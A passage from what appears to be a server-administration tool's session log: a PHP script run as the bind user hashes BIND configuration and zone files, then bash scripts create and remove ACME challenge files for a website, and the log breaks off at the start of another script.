MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-22 17:04:29: Establishing a connection
2026-07-22 17:04:35: Establishing a connection
2026-07-22 17:04:35: 

PUT: /tmp/pkp380822

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-22 17:04:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp380822; rm /tmp/pkp380822'

2026-07-22 17:04:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-22 17:04:44: Establishing a connection
2026-07-22 17:04:44: Establishing a connection
2026-07-22 17:04:44: 

PUT: /tmp/pkp629505

#!/bin/bash
if [ -d "/var/www/freebible_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-22 17:04:44: 

chmod 755 /tmp/pkp629505; /tmp/pkp629505; rm /tmp/pkp629505

2026-07-22 17:04:44: 


1


2026-07-22 17:04:46: Establishing a connection
2026-07-22 17:04:46: 

PUT: /tmp/pkp209474

#!/bin/bash
mkdir -p "/var/www/freebible_www/.well-known/acme-challenge/"
cd "/var/www/freebible_www/.well-known/acme-challenge/"
cat > ryT0CkC_B1Sf-mZtkhNndHhxpwoLEegfgJCDQu-DTXM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ryT0CkC_B1Sf-mZtkhNndHhxpwoLEegfgJCDQu-DTXM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ryT0CkC_B1Sf-mZtkhNndHhxpwoLEegfgJCDQu-DTXM
cat > aZr7xhoxZIN8xA8ec7xOs3QLQaYV0oS2gxxLb44AKYg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
aZr7xhoxZIN8xA8ec7xOs3QLQaYV0oS2gxxLb44AKYg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 aZr7xhoxZIN8xA8ec7xOs3QLQaYV0oS2gxxLb44AKYg


2026-07-22 17:04:46: 

chmod 755 /tmp/pkp209474; /tmp/pkp209474; rm /tmp/pkp209474

2026-07-22 17:04:46: 




2026-07-22 17:04:56: Establishing a connection
2026-07-22 17:04:56: 

PUT: /tmp/pkp545790

#!/bin/bash
mkdir -p "/var/www/freebible_www/.well-known/acme-challenge/"
cd "/var/www/freebible_www/.well-known/acme-challenge/"
rm ryT0CkC_B1Sf-mZtkhNndHhxpwoLEegfgJCDQu-DTXM
rm aZr7xhoxZIN8xA8ec7xOs3QLQaYV0oS2gxxLb44AKYg


2026-07-22 17:04:57: 

chmod 755 /tmp/pkp545790; /tmp/pkp545790; rm /tmp/pkp545790

2026-07-22 17:04:57: 




2026-07-22 17:04:57: Establishing a connection
2026-07-22 17:04:57: 

PUT: /tmp/pkp454093

#!/bin/bash
temp_file=$(mktemp)
